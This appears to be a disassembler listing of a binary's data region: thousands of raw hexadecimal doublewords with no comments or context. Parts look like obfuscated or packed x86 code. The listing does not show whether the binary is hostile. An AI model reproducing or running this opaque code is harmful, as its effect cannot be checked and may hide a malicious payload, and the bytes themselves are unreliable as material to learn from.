		dd 0FD37CF00h, 87BD5A00h, 194BE48Ah, 0A4D8761Ch, 2D6701A7h
		dd 4B2FF530h, 0DC827FB1h, 690F0C40h, 0F19794CEh, 0CD232052h
		dd 14BAB39h, 0E255F5F4h, 629433C4h, 79AB48D0h, 0C6285AF3h
		dd 0BAEC8B11h, 0E54F9227h, 0D4D103A2h, 0B8FF41B1h, 18254A6h
		dd 27140000h, 0CEC4BEDCh, 0D4B80133h, 88E27D9Ch, 2324C82Fh
		dd 0CB6A1274h, 0E1800699h, 962CB2AFh, 177DC85Ah, 331264E7h
		dd 4FE397F9h, 92F42EC7h, 7E84F9E4h, 51E495F2h, 0FA62FDC5h
		dd 0FB41A4F5h, 0F50DB17h, 2FBAA0h, 72060000h, 85184CEAh
		dd 5AAC4AD6h, 3BECF5FAh, 6F5399D9h, 3061EF81h, 0F8F27F23h
		dd 9A28B447h, 7F5FB01h,	787A58A4h, 1DA00FEBh, 0DDh, 0C89433DDh
		dd 949824D9h, 50A634E7h, 50FCA3C3h, 0AE41F09Fh,	0E17B8E28h
		dd 0DA6E00AFh, 0A3C3AA4Ch, 0E345F6FCh, 0D709A82Eh, 0D323B145h
		dd 0CDFCA3C3h, 0C7FD961Ch, 6E238534h, 1A1749E8h, 0A3E74E6Eh
		dd 0B82570FCh, 3573758Ah, 0DC10AC32h, 133D27Ah,	12447E04h
		dd 2ED3D4B6h, 0B446F583h, 0CC5E922Ch, 0A389B83Eh, 0D537E8FCh
		dd 37A69321h, 0EA72F270h, 0D2811450h, 6F099123h, 7F1BA335h
		dd 9834BA4Dh, 3453B564h, 49C0F48Eh, 8FBF6B29h, 664263F8h
		dd 2900000Bh, 0B0565391h, 3EE4E113h, 0CC726FA5h, 57FDFA2Eh
		dd 4B8683BDh, 0CD07A1D9h, 568E2AD0h, 0E618B359h, 72A443E9h
		dd 0FD8B1F75h, 0F5F400F9h, 331634A7h, 0C46A6799h, 0B7831C25h
		dd 0C2F2A15Dh, 67FAA930h, 7B0E44E1h, 716E1DCCh,	62943333h
		dd 78AA49CFh, 0A741C97Bh, 0E554ACD3h, 0BF6EE297h, 57A93A76h
		dd 48AA377Fh, 51B05h, 3D085300h, 963478h, 0F729C74Dh, 1353B564h
		dd 0EF816F53h, 1629CD5Bh, 0C677FCA4h, 7F22B064h, 67F27F23h
		dd 2B9723B6h, 0FF5FB01h, 23A93C76h, 97C05385h, 0BAC4C834h
		dd 0DD01B76Dh, 681A39E8h, 6BB046D4h, 3FF0F5FAh,	4E0C78DDh
		dd 0A00F55A4h, 220F1h, 1BB53D00h, 96C863E9h, 0B2F25403h
		dd 0A415CA2Dh, 1FFAC8FCh, 6B075082h, 0EADEA42Ah, 70049645h
		dd 911749E8h, 7E2DC0F2h, 0F57D6E1Ch, 6819F273h,	7AB24ED6h
		dd 0E99C5AE8h, 4BFCF5F3h, 0EAD35E9h, 9A39DFDCh,	536FD568h
		dd 387D0B9Dh, 0E8EBCF02h, 6DA8C037h, 0D065890Dh, 0A4CAFh
		dd 79AB4300h, 339D67Ch,	8DC76006h, 184CEA90h, 0A9DB751Bh
		dd 0C7B371ACh, 50F6F32Dh, 0DD8380B4h, 6D131042h, 499F9CCEh
		dd 0FECF27B5h, 56C9F5F3h, 62943338h, 78AA49CFh,	32C452E6h
		dd 6EFCA416h, 661547E6h, 77BA4F04h, 5F2BCA0Dh, 318C4F43h
		dd 4643F22Ah, 3E720C94h, 0B5EA62ABh, 9AC74F27h,	8E6489EBh
		dd 0B3A6B87Dh, 0CB5E902Bh, 2FCDD31Ch, 0B0BA4BBAh, 14BEE4Eh
		dd 33AE0000h, 70D1C894h, 0F03A0BC0h, 0D88697A7h, 0DE8D639Eh
		dd 0F426C54Bh, 9AC91762h, 0C1ED6AC6h, 8BA405Fh,	15C856E8h
		dd 71F27E93h, 21A12DC0h, 80F5FA94h, 0FD3883CEh,	1829D131h
		dd 27EB51B6h, 0A00FBCCBh, 34CAh, 6F538A00h, 3061EF81h
		dd 0F8F27F23h, 0EF9ED270h, 1F2D05Ch, 4CAFF5FBh,	0EBD022E0h
		dd 0CFC5A00Fh, 11000000h, 0C234CFC6h, 0D86AFD95h, 0FAADAC4Ah
		dd 0D93BECF5h, 39F2799h, 2D8F3ED1h, 21B4E685h, 5FF8019Bh
		dd 0C73038Bh, 0A5545ACFh, 21B46312h, 37CAFC9Bh,	0E3E012B1h
		dd 0A45CB537h, 0BB529DFCh, 0A547D63Eh, 3BDA82E4h, 135E9826h
		dd 720CFCA4h, 8635E63Eh, 31BF0389h, 4678179Fh, 0EEA204B3h
		dd 70C1D960h, 8A1CCDF2h, 0BB496802h, 0F5F8633Bh, 5EAF1A65h
		dd 545FAF7Ah, 53F9F6A5h, 0C21087B9h, 0AB8FBFDEh, 8E3F516h
		dd 14AC0000h, 0A03DE3E0h, 2EC76D6Ah, 0B351F7F4h, 44DE8481h
		dd 4CD81310h, 6360942Eh, 0EEEB21BDh, 7673AD48h,	2FF31D0h
		dd 6C8A18ACh, 2CF5F3FDh, 99339BB9h, 30B86A67h, 9ED7B92h
		dd 97FCA416h, 0F5A437E6h, 1A4CEB93h, 9433DF1Dh,	0AA49CF62h
		dd 0AD3A7B78h, 88000002h, 0CC2E6200h, 4DC278Ch,	3D771087h
		dd 0E09DA9F4h, 6C46ACFBh, 0AA0CBB9Ch, 0BE50A022h, 73392530h
		dd 12AF37F2h, 3C9E4DE0h, 0EC7E11C2h, 3597C964h,	0F32B3B87h
		dd 0B90366F5h, 81619D9h, 2167CA0h, 273C0000h, 0EFDCA2DCh
		dd 8524E220h, 6211C053h, 0C6A55200h, 0DFE3FCA3h, 0ACF17F11h
		dd 0CCF273CBh, 6DF5891Bh, 0E4129ED4h, 86F5F3D1h, 7322B5E7h
		dd 54086A1Bh, 0FEFB2DCCh, 0F487B958h, 0C1351762h, 17C7305Ah
		dd 5B952DB5h, 71A341C9h, 38BE4CDEh, 68F5F3EEh, 0F2A608B7h
		dd 0CF065164h, 259C4DEBh, 890D69F7h, 0E20021B6h, 0AD000007h
		dd 3CE2DF15h, 0CA706D9Fh, 50F6F331h, 0DB817EB2h, 0D7120F41h
		dd 61932D4Dh, 0EA22BE64h, 72AC47EDh, 0FE30CF75h, 8917AB01h
		dd 0F5F3FC6Dh, 279AB82Bh, 6ACC069Fh, 5EF123C2h,	79AB44CCh
		dd 2DD537E6h, 34C95C8Eh, 0A5448BF1h, 9F537673h,	0F6A6B8FFh
		dd 158h, 629433B6h, 48AE3CD0h, 58FCA415h, 0A9045A7h, 13A7396Bh
		dd 0A4157185h, 1C7E2FFCh, 0A54B77FDh, 24588513h, 8738F27Fh
		dd 3DDA62F4h, 0AE5D9730h, 5C0A6C1Bh, 0F5FB0266h, 6501893Bh
		dd 0D887B958h, 0CF349645h, 0FA821665h, 0E695285Ch, 0FB029C5Ah
		dd 0E94BFCF5h, 0FF02EC4h, 3D67A0h, 27270000h, 15F10593h
		dd 64AFFCA4h, 99403009h, 61C37233h, 7507E9D9h, 7E8AAAE7h
		dd 25F944F2h, 6AE432B4h, 0E392C664h, 0C3560781h, 0FA6F8B37h
		dd 49B316F5h, 0F596989h, 0A42CA0h, 33EC0000h, 48D06294h
		dd 5B1072AEh, 77093BD5h, 0B4AF8D2Ch, 6CCE6B1Dh,	609231B7h
		dd 23F03BCDh, 443A6E64h, 7817BF21h, 922CB446h, 961CCB5Eh
		dd 8231C4F8h, 87550120h, 0B3FCA6E2h, 5FE5E214h,	6DFB8D63h
		dd 0F26FF0CCh, 11992BDCh, 8E403D77h, 0D1336906h, 0DE558F29h
		dd 8FBF34A4h, 92AFD065h, 0FD000006h, 8C322F65h,	1AC0BDEFh
		dd 0A0464381h, 2BD1CE02h, 27625F91h, 0B1E37DFDh, 3A720EB4h
		dd 0C2FC973Dh, 4E801FC5h, 0D967FB51h, 0F5F3FC1Dh, 33EA087Bh
		dd 0BDF79099h, 58F47C0Eh, 80E29124h, 0EA1CBB61h, 9433AFEDh
		dd 0AA49CF62h, 0C45EE678h, 0DE77FD90h, 0B36211A4h, 55F13251h
		dd 0B3000000h, 0F17F9433h, 0FCA41605h, 9A4B4893h, 21300A46h
		dd 0AA30C372h, 2F65020Bh, 7A7C0A9Ch, 26FCA384h,	8417C675h
		dd 810FA335h, 0FCA38475h, 849B5BE9h, 5405FCA3h,	1CDA68FCh
		dd 7CFCA385h, 55BA1CCBh, 3B519CEFh, 23CA48DEh, 0B857FF61h
		dd 12488986h, 0A000000h, 0CF629433h, 0A4157E43h
		dd 7EC609FCh, 4B487A19h, 9F270Dh, 25C46CCEh, 0C8FA60F3h
		dd 51089628h, 4BF2741Ah, 61F426C3h, 25D650B2h, 3A6C0B93h
		dd 0C6F8973Dh, 0FBF5CD33h, 1225DB69h, 4EFFEBC4h, 42DD28BCh
		dd 0A37E8F0Ch, 7413BB1Dh, 9F4542h, 0EDD53BCEh, 4DE97103h
		dd 0C0F29117h, 8E16AA5Eh, 7D2CBFF5h, 96295BF7h,	36D785E7h
		dd 0D8F27E44h, 2440B644h, 0AF60F5FAh, 0AB22D34Dh, 8FBDA485h
		dd 5A729328h, 35000005h, 0C46A679Dh, 52F8F527h,	0D87E7BB9h
		dd 6309063Ah, 5F9A97C9h, 0E91BB5C5h, 72AA46ECh,	0FA34CF75h
		dd 86B857FDh, 119F3389h, 0F5F3F9E5h, 332240B3h,	0B3656294h
		dd 0FB5D8F2Bh, 0C4E8B453h, 0C036C47Eh, 0E0FCA329h, 575AE62Fh
		dd 5DEF8231h, 0A10339D5h, 0B8515AF9h, 28D709A3h, 0C760E679h
		dd 0D574FA8Dh, 84E710A3h, 8719AE38h, 98F4D13Ch,	9D2FCB7Ch
		dd 0A3DDE70Fh, 9E00B1FCh, 0F880F339h, 1BC3255Fh, 9B4D4A7Ch
		dd 0D46D7613h, 0AD5CEF9Eh, 0C7CC264Bh, 0ED75A6B8h, 9F8E8652h
		dd 3B896883h, 4BCA2A8Ch, 8A000000h, 1AE76F53h, 12957EAh
		dd 0BF529029h, 20B26110h, 7F177092h, 35C778F2h,	87933AEAh
		dd 0EE5022B9h, 0DD17B23Ah, 0A6C034E0h, 0FAEF5FAh, 29B74BDDh
		dd 0F5FAA6CDh, 99B81ACBh, 0B54358F3h, 0F5FAA641h, 6CFFAE5Fh
		dd 46C4Bh, 94330D00h, 0AC48D062h, 0D436E578h, 6BF98D1Fh
		dd 0FCA4158Bh, 5A026415h, 0DA8C89BBh, 3780B452h, 51C3798Eh
		dd 0CE56B8AFh, 0D66AFCF4h, 0EE81B34Eh, 0AE2FDD3Fh, 0CAF27E52h
		dd 0DB6EA642h, 5EEA7D2Ch, 0F5FA5464h, 0B092DA3Dh, 0A00F4242h
		dd 2553h, 6F531300h, 0CA67EF81h, 0F4823698h, 0F27F239Dh
		dd 9925B869h, 0F5FB0129h, 0EBAF1578h, 0A00FEC07h, 1278Eh
		dd 94334E00h, 1605F17Fh, 0E293FCA4h, 801AA033h,	0D31EB244h
		dd 0D6431A46h, 55A12DE8h, 43FCA3CDh, 0F57B3092h, 0FF912456h
		dd 44A6D877h, 0CECBFD9Ch, 0FCFA881Ch, 9CFCA3CDh, 0CD7C7A08h
		dd 6B1CFCA3h, 689C36BCh, 0CA745806h, 0BAAFCA3h,	9736DCD9h
		dd 2EC1F38Eh, 0AB3DD07Fh, 0E07B8423h, 236CFFAEh, 0C0392FF0h
		dd 56B86765h, 8A25F4CEh, 6716C558h, 68B247D5h, 9BE6F27Eh
		dd 0E5C17578h, 92C86525h, 0F2A150FFh, 1EBB43F5h, 48AA59ECh
		dd 5CEE02C0h, 83BC3AC8h, 11AEF5FAh, 419948DBh, 0DB54B6F6h
		dd 0F3A234BFh, 0E44FDD91h, 7EEBC720h, 0C0225AF6h, 701EFB46h
		dd 44629422h, 8D3EFCA1h, 89DDA244h, 26C048DAh, 31D058EAh
		dd 5BBD6CFFh, 0C8FC963Ch, 16FEE551h, 0E2FC489h,	31Dh, 9D9ADA72h
		dd 2B285AF7h, 0B9B6EC85h, 46437513h, 0CDCA06A0h, 4EE89292h
		dd 0D36F1512h, 63FEA4A1h, 0EF8E3431h, 0D66AC0BDh, 0F3F7AE48h
		dd 5977EAF5h, 73CD9933h, 0CEB01801h, 29CFCC7Bh,	0A95B588Ah
		dd 0BD508221h, 0B5EF880Eh, 0D1117322h, 0EF816F53h, 7F233061h
		dd 0B447F8F2h, 78D0D722h, 4867E1C1h, 4B8A38E6h,	6517F5FAh
		dd 0A037D51Ah, 5BBD4E5Eh, 26CC8EF6h, 1BA00F44h,	2B65FF87h
		dd 0FA4E579Fh, 2E9041F5h, 0E5CEh, 94338E00h, 1605F17Fh
		dd 0E293FCA4h, 801AA033h, 0A725B144h, 0A7FCA412h, 0B74A841Fh
		dd 5FFEA608h, 0EB8A302Dh, 2C026B9h, 65115CEEh, 4785A2F6h
		dd 0B044F85Ah, 0E1688E1Ch, 8738FCA3h, 0DF827725h, 8216F27Eh
		dd 0FAE002F4h, 7D169EF5h, 5605B447h, 9E24AAA7h,	5875C052h
		dd 589E2C0Ch, 48F5FAA0h, 0F9704E97h, 13A155B7h,	0EBC74043h
		dd 0C65AEC9Dh, 96BA13Eh, 908DC761h, 0A33150EAh,	0FCA1E053h
		dd 0F850821Fh, 2A1465ADh, 47F60531h, 0D50B2198h, 0F58A8916h
		dd 1FCD4h, 0C9FB9300h, 538926CCh, 0DD17B056h, 689C3AE0h
		dd 0F92BC56Bh, 1763C1FCh, 0A046437Dh, 2DD3D004h, 0BD636092h
		dd 99EFEC1Eh, 0F67F7705h, 0A619F5F3h, 0F9DC2788h, 8D69F713h
		dd 0BFCA394h, 0AC64115Ah, 9731D93Bh, 1BBA605Dh,	8C3B7912h
		dd 9F27518Fh, 0C76FD103h, 0DC64F628h, 5C9A283Dh, 3CFCA415h
		dd 9A49DC8Bh, 5DF18338h, 7A063CD5h, 0FCA4157Ch,	61096B1Ch
		dd 0ED9390C2h, 23891C4Eh, 37BF519Fh, 51056799h,	7F43F6C3h
		dd 5FF1A2F2h, 0E1B93DCBh, 36E7F5FAh, 0B5181FD4h, 0DB74FC4Fh
		dd 0D56716A9h, 0FAE1AF47h, 0D638E9F5h, 0CB5D8F2Eh, 8C5C8580h
		dd 47A99D02h, 0D020A228h, 8816AA3Eh, 0F5FA4D6Eh, 4D9462F0h
		dd 5304F5FAh, 2BC44AFBh, 55B766F9h, 0D54ABAA7h,	52EC74EBh
		dd 7ADC8B1Eh, 36BC4F00h, 88D36597h, 21CECAC3h, 0E28006A6h
		dd 48974CAEh, 4A78BF05h, 0DB8614A6h, 91F27E47h,	46876FFDh
		dd 6011F5FAh, 0D6D384FEh, 0CC5F9130h, 0DE18A63Ah, 0BAF5FA46h
		dd 0DE97709h, 8BF5FA47h, 35D078DAh, 43E169FBh, 74FAAF11h
		dd 0FC2ECDD8h, 780BBA69h, 8D2054F2h, 46896DFBh,	6617F5FAh
		dd 26B0FC5Fh, 0F70BC1Fh, 0BB413E70h, 0C957E907h, 0EBD574F0h
		dd 0DE64F7A8h, 0F47A0D3Fh, 0A902355h, 8DC7626Bh, 99C4BFAh
		dd 80EE569Bh, 89AE1679h, 9725B739h, 0F27E4822h,	2BB345F6h
		dd 0DAF95B8Dh, 0F0826E54h, 0CA4D9A62h, 3ACD7EEBh, 4D8720A8h
		dd 1A90BBAh, 8D333062h,	0DF2ABCEEh, 0B7DB8296h,	0BC519AFEh
		dd 0D82EC95Dh, 52DE93F5h, 86EA454Bh, 448BF134h,	0D07673A5h
		dd 0E66CFF31h, 0FA821448h, 0E796295Bh, 66C9D085h, 4E1AB91Eh
		dd 0F773590Eh, 0FEFBAA26h, 88EDB958h, 5EAEB54Dh, 0ACD963E3h
		dd 55046C1Fh, 16F213A6h, 0B4000000h, 0F1059327h, 0AFFCA415h
		dd 7A0E9CFEh, 0BBDD962Fh, 218380A0h, 699B33E1h,	7FB150D6h
		dd 99CB66ECh, 0B0E48006h, 0C3FD971Dh, 0D410AA30h, 0EB1DBB41h
		dd 0FB39D258h, 0F45E268h, 89532A7Ch, 44BD55E3h,	81770F58h
		dd 0CF3AA5CDh, 7E5C155h, 0ED81DDF7h, 3EC579B5h,	0EC39C581h
		dd 0EB012682h, 4EB835Dh, 5C241C87h, 6C7F68h, 240C8900h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 3568243Ch, 8B06B00Ch
		dd 0C483240Ch, 0D606804h, 24890000h, 24048124h,	4, 478F515Fh
		dd 243C8B08h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 50240C8Bh
		dd 405E089h, 83000000h,	48704C0h, 0CEE95C24h, 95FFF95Dh
		dd 243FCA0Dh, 0B8EC7629h, 6B02181h, 0E0FFC503h,	46C11376h
		dd 33DCAA71h, 4EAA876Bh, 48F728B2h, 31A72926h, 1B92AD46h
		dd 24A886CDh, 55CCC747h, 3AD2E24Ch, 5348DB46h, 4620501Bh
		dd 46C964CEh, 1ECEF0Ch,	5EBE4994h, 1A79BCC9h, 16B185C6h
		dd 685606A9h, 0A9C530DFh, 10B5B5FFh, 858D06A9h,	6AC73FCh
		dd 8D8DD0FFh, 6A90161h,	0FF406A51h, 0A908ADB5h,	0E9B5FF06h
		dd 0FF06A907h, 0ADB5FFD0h, 0FF06A908h, 0A907E9B5h, 0EE806h
		dd 0F3050000h, 0DEF5DE7Bh, 0CE21E0CFh, 0A59DD17Ah, 0EA835A5Ah
		dd 242CC104h, 2424C102h, 24140302h, 68241CF7h, 0
		dd 1734FF5Fh, 0B9F08158h, 81579FBDh, 0AAEC28C0h, 2E88144h
		dd 5070FDB3h, 833A048Fh, 3C3B04EFh, 0DA850F24h,	8DFFFFFFh
		dd 0A91DF99Dh, 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h
		dd 0C98B1889h, 0EE8h, 0DDA42200h, 4490B3F3h, 8C6CA16Ch
		dd 59CC1A9Ch, 4917BB66h, 645EC181h, 8C0F0000h, 5, 3F9CF2BBh
		dd 0D31BBA46h, 0EA814C0Dh, 4C0DBA3Dh, 2870Fh, 4B30000h
		dd 8F0F398Bh, 5, 0C4C08053h, 0C8EF815Eh, 817943B6h, 0FB74B1E8h
		dd 5EC78120h, 0F2D90CFh, 385h, 0C6B70F00h, 596F781h, 880F7EE3h
		dd 2, 3989A2B0h, 0DE8h,	0CECC0500h, 0DF2183Fh, 0F64A5071h
		dd 13E9531Dh, 0B5000000h, 0F1248726h, 0AB83019Bh, 534AC79Dh
		dd 0DF648DF4h, 835ED090h, 0CEB301E9h, 0E9494949h, 5, 0F0DF04A2h
		dd 1EA8176h, 0F000000h,	1F85h, 0D9816000h, 175086F1h, 54BBB966h
		dd 21E961h, 0EF110000h,	796F3041h, 212FD7FEh, 0D260B343h
		dd 0E9F7B70Fh, 0FFFFFF58h, 80D4ACB0h, 0C88E6D9h, 0E839E78Eh
		dd 12h,	0A1A795C4h, 0BA526115h,	0A2F7A24h, 0F8031F13h
		dd 0E959C58Fh, 9, 0A494197Bh, 0F098FB9Fh, 0CDC181E9h, 0BE00006Dh
		dd 42C9BB16h, 720F25BAh, 0EFEA8126h, 522671F3h,	0FF5FF18Bh
		dd 0EE931h, 89920000h, 8D0948E1h, 86C9E9A7h, 55BD9245h
		dd 0B7E88158h, 0F5F69B1h, 38Eh,	7C38000h, 0AB55C081h, 8166048Fh
		dd 811BBDF6h, 815840E8h, 14E922h, 0E9CA0000h, 0A22A3056h
		dd 4F3A05F6h, 734561DEh, 99303BE5h, 0F8507D9Dh,	0E981018Fh
		dd 49F14A93h, 8FC181FCh, 8A49F14Ah, 1EA83D9h, 1C850Fh
		dd 8B660000h, 4BE9FAh, 223B0000h, 0D054C64Eh, 1B3F4746h
		dd 6D178251h, 98A30569h, 66604F08h, 5619CB81h, 17860Fh
		dd 12E90000h, 36000000h, 25C1EB80h, 2B235447h, 6170E2AFh
		dd 0CA9C5C27h, 50E96128h, 34FFFFFFh, 359B4579h,	1B023BDFh
		dd 4819370Ah, 8D8D8DD1h, 6A06B025h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4245C352h
		dd 0F70DF09Ch, 0DDDE8128h, 8948F3CAh, 0A916CD8Dh, 24CBF06h
		dd 85C70B22h, 6A90CE5h,	5EACh, 52F78B66h, 0EE9h, 127E9800h
		dd 92F0F99h, 0B648486Ah, 5A8478E4h, 11CD85C7h, 6A9h, 8B660000h
		dd 58B0FF0h, 51000000h,	58FE8B66h, 45B5FFh, 0CE806A9h
		dd 0DD000000h, 0C866A7F4h, 0AA1ECD27h, 0B2928AFFh, 95FF5FF2h
		dd 6A93281h, 6AD8B70Fh,	9595FF00h, 8B06A92Dh, 4F29EBC0h
		dd 0E6C418D1h, 0EB80364Dh, 544725C1h, 0E2AF2B23h, 5C276170h
		dd 3D28CA9Ch, 28549ED1h, 0C9428097h, 0C64572A9h, 60FB0751h
		dd 14E8h, 47A3DA00h, 99066372h,	98EB699Bh, 0ABE1AA00h
		dd 51E3E5ABh, 9D8B609Ah, 6A92059h, 0DBEB8166h, 0F5B61C1h
		dd 481h, 30BA6600h, 31C3818Eh, 0F000059h, 381h,	0D0BF0F00h
		dd 161768h, 14E900h, 7CC70000h,	0B52740F3h, 0EE836E95h
		dd 0B20D3F7h, 984BA37Eh, 295F4160h, 0A90B2995h,	6633FF06h
		dd 90C3F181h, 6820F58h,	0B000000h, 0A90DA5B5h, 64C08106h
		dd 0E80817A2h, 14h, 21D3A6EBh, 660983BFh, 725F940Ah, 0EC65456Bh
		dd 27C9D8A2h, 8CE68166h, 0E8815E76h, 51F67491h,	6852E281h
		dd 0E8813E91h, 42F9723Eh, 7898589h, 38906A9h, 5890Fh, 81660000h
		dd 83663AF1h, 0B58B01EBh, 6A920EDh, 834B4B4Bh, 850F01EFh
		dd 0FFFFFF8Dh, 10AD958Bh, 1DE906A9h, 0E1000000h, 51B2BFh
		dd 6 dup(0)
		dd 449E9h, 27BA6800h, 12E906B0h, 68FFF959h, 6B0282Bh, 0F95908E9h
		dd 299768FFh, 0FEE906B0h, 11FFF958h, 983E3B79h,	26CCC9FBh
		dd 0B45A578Dh, 3FE5E216h, 336E6BA5h, 0B5EF89F1h, 3E7612B8h
		dd 0CE009B41h, 5A8C2BD1h, 0E573075Dh, 0F5F3F011h, 28A1C8Fh
		dd 0ED9C2F65h, 99334B8Bh, 0AF4ED467h, 83CE807Dh, 0FFFF99F2h
		dd 77AF0012h, 3B10E4B2h, 20A22A8Ch, 98F33ED0h, 1CDA6898h
		dd 7CFCA322h, 0E74782CBh, 38C67ADCh, 0F27EA519h, 0A22ABC6Dh
		dd 0B76CCE06h, 0FA5B972Bh, 5DA70AF5h, 0F45757Dh, 2AD20A0h
		dd 9E00000h, 866A58CCh,	20AB66F4h, 0CA7BF27Fh, 5B3514C2h
		dd 4F73F492h, 0B94FB807h, 0BB6A1D83h, 0A40A9B29h, 8E16F6B2h
		dd 7F2EC1F3h, 0EBD73DD0h, 0B3E57305h, 33F519DAh, 0FA56B7E8h
		dd 0EB4D77A6h, 0A62EC071h, 0BB43D507h, 6C8BED1Fh, 7EF527C6h
		dd 72D8221Bh, 0A79CBD52h, 0ED000002h, 7C221F55h, 0AB0ADDFh
		dd 90363371h, 1BC1BEF2h, 17524F81h, 0A1D36D0Dh,	2A62FEA4h
		dd 0B2EC872Dh, 3E700FB5h, 0C957EB41h, 0F5F3EF2Dh, 53DAF86Bh
		dd 67EF816Fh, 570699CBh, 61B341F5h, 0BBF27430h,	56F0780Ah
		dd 6300881Ah, 0FEB0CF31h, 1CA2DA76h, 41E94B7Dh,	4EDA6DA7h
		dd 0F5F3EF71h, 59F7009Fh, 36E59427h, 5B6AC2BFh,	0D3F48970h
		dd 236h, 918EC65Eh, 1F1C4EEBh, 0A5A2E079h, 322F61FFh, 0C1BEF28Ch
		dd 42DC9E86h, 0CF6B110Eh, 5FFAA09Dh, 0E3822825h, 0CA5EB4B1h
		dd 0F3EDBA3Ch, 5573E6F5h, 0F1059327h, 0AFFCA415h, 0AE149CFEh
		dd 0F222B042h, 0ECF27430h, 396CA64h, 0C778F254h, 801AA234h
		dd 0A002B144h, 0F3EFD0F2h, 66ED1F5h, 8DDAE44h, 17DE7A0h
		dd 9F330000h, 0F3E7E511h, 7C02B3F5h, 6D1CAFE1h,	0DC27CB0Bh
		dd 66D37086h, 9837BDDEh, 0BD5C0466h, 0D372F88Bh, 0BAD0607h
		dd 0B46386C0h, 0E27D05B7h, 0C6E1DB0h, 20B23E84h, 7E304B92h
		dd 0E87A2BF2h, 2F30C654h, 0BF70F5FAh, 0A61CA85Dh, 0FBF5FA2Eh
		dd 846E2C98h, 11A00F1Ch, 39h, 816F53D1h, 149DA4EFh, 0BC2067D4h
		dd 7918A65Ah, 93F27E96h, 0AA3D6F0Bh, 6E1F99FBh,	6FB091DCh
		dd 451066DDh, 20A22EE3h, 81F5FA97h, 0FEF4D61Eh,	97A00F81h
		dd 0B2h, 62943357h, 75AF49CFh, 2EBC50E2h, 0FCA415C8h, 79527D8h
		dd 0FCA415EFh, 0EE96F8A9h, 0E981834Fh, 0CC934F8Eh, 0EC408B1Dh
		dd 445875BAh, 72F8AD0Fh, 0F8A4A1D3h, 0FCA3E228h, 48457716h
		dd 5EF000C2h, 0E0BA3CCAh, 35E6FCA3h, 38B1FD3h, 22D03264h
		dd 0F2708F17h, 44CC5E0Fh, 5CE476AAh, 102F91C3h,	83CD65Eh
		dd 3064FEA6h, 0BF37CAB9h, 0C3E4798Fh, 0CAh, 0F5F232CAh
		dd 8380B24Fh, 110E44DDh, 9E9BCD6Bh, 25225EF8h, 0A6403AEAh
		dd 2BC76D6Ah, 0BB56FCF9h, 47E68C89h, 2EC21815h,	0F3EC56A0h
		dd 0B1CF42F5h, 6A679933h, 5A9630B8h, 7FB150F8h,	94334482h
		dd 0AA49CF62h, 0CDF57B78h, 6D099123h, 9321D537h, 0F27F576Fh
		dd 0AE36C879h, 34EE014h, 0A157B31Ah, 726884Fh, 0FA94675Bh
		dd 234D3F5h, 8BC55F05h,	54D7F8h, 53990000h, 61EF816Fh
		dd 0F27430FFh, 0CF55E899h, 0E46CFE30h, 91B01246h, 871A4CEBh
		dd 0E97D60FBh, 0BA02457Eh, 8784B655h, 7D1042E1h, 952759F7h
		dd 0E261974Ah, 0E4469B61h, 7FC5282Fh, 4A477918h, 80760498h
		dd 20AAF120h, 0C6650D6Fh, 3E00194h, 0A2000000h,	9B332D4Dh
		dd 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h, 10AA30C3h
		dd 1DBB41D4h, 39D258EBh, 45E268FBh, 532A7C0Fh, 0B850E389h
		dd 0D932F33h, 0F4D1B2Dh, 78730551h, 8F356617h, 1229B5Ah
		dd 0EB8358C3h, 241C8704h, 3AD9685Ch, 34890000h,	35D6824h
		dd 0C890000h, 4EC8324h,	0BF243C89h, 6B026DEh, 685FFE89h
		dd 7F7Fh, 83242489h, 59042404h,	24048156h, 25C86100h, 5708418Fh
		dd 0C86100BFh, 8792925h, 2434FF5Fh, 4C48359h, 5E2434FFh
		dd 4C481h, 0DEE90000h, 0B1FFF954h, 36D48AD1h, 608250F9h
		dd 86B874CBh, 306B02Ah,	0B2E0FFC5h, 0C216CA34h,	0E15FECCDh
		dd 0D32550DEh, 0EA1534EFh, 0C964BD38h, 810B807Eh, 0F331C875h
		dd 377718EFh, 8870B305h, 27205BF6h, 0D3DDDF6h, 54570043h
		dd 11629614h, 1C6733A4h, 3E5B1BD0h, 0D646D233h,	0BE4EDAE5h
		dd 0BF4A3245h, 4631A50Ch, 0C4577050h, 8465088Fh, 3B23B581h
		dd 0F14CBF7Eh, 602325FBh, 6037DA0Ch, 0E87B5839h, 14h, 4A947720h
		dd 144C7DE2h, 32345CBFh, 0D1B450DBh, 0AFA577B7h, 0EE960h
		dd 54990000h, 7762DDCDh, 0D16B0EE6h, 0D95A723Ch, 0FE95E61h
		dd 30000000h, 8C19038Eh, 7B462C1Bh, 7A44F6A3h, 0C6811E4Fh
		dd 5E85h, 6832E980h, 176Fh, 436E15B9h, 830F5F65h, 2, 68B8AB1h
		dd 8197C980h, 0A7236C0h, 38C0F59h, 80000000h, 0F08162C1h
		dd 299ACFD4h, 0C081C88Bh, 54292712h, 0A5BB7CB9h, 870F507Bh
		dd 3, 8FBCF580h, 40EB8106h, 83739845h, 880F04EEh, 1, 850F4FF8h
		dd 0FFFFFFB6h, 0BE8h, 8F1F6F00h, 0C8E72702h, 0EC866EEEh
		dd 13E9h, 0EC083F00h, 0E48F91F7h, 68CADC83h, 5FBCAB14h
		dd 0AFBF1DEAh, 14E85Ah,	0AC1C0000h, 2C1A7CA0h, 1B1F9B37h
		dd 3A779671h, 0EF2378D9h, 0B70F2D63h, 860F5BC6h, 0
aBF		db 'Ô^',0
		align 2
		dw 830Fh
		dd 0Bh,	5800Fh,	81660000h, 337BCAC9h, 0FFF78AF6h, 890F1E34h
		dd 6, 7FB2E981h, 0E85F6962h, 12h, 4C50E32Eh, 0FDF30719h
		dd 0F15EBDA5h, 172A9F8Dh, 9E96945h, 0FD000000h,	88A2BC60h
		dd 115E5DA8h, 32F7815Ah, 0F13075Fh, 384h, 0D3BF0F00h, 3CB3F781h
		dd 0CB8B6D87h, 3341F781h, 52B9753Dh, 8977AB03h,	6660333Ch
		dd 0CECCEB81h, 0CB8B6661h, 0F503EE83h, 0E281664Eh, 0FE81BB20h
		dd 0FFFFA224h, 0FF85850Fh, 800FFFFFh, 2, 0C08BC18Ah, 131DBD83h
		dd 750006A9h, 31BD8309h, 6A914h, 53501974h, 21B8C08Bh
		dd 89000004h, 0A9244585h, 5C9D8D06h, 0FF06ABB4h, 83585BD3h
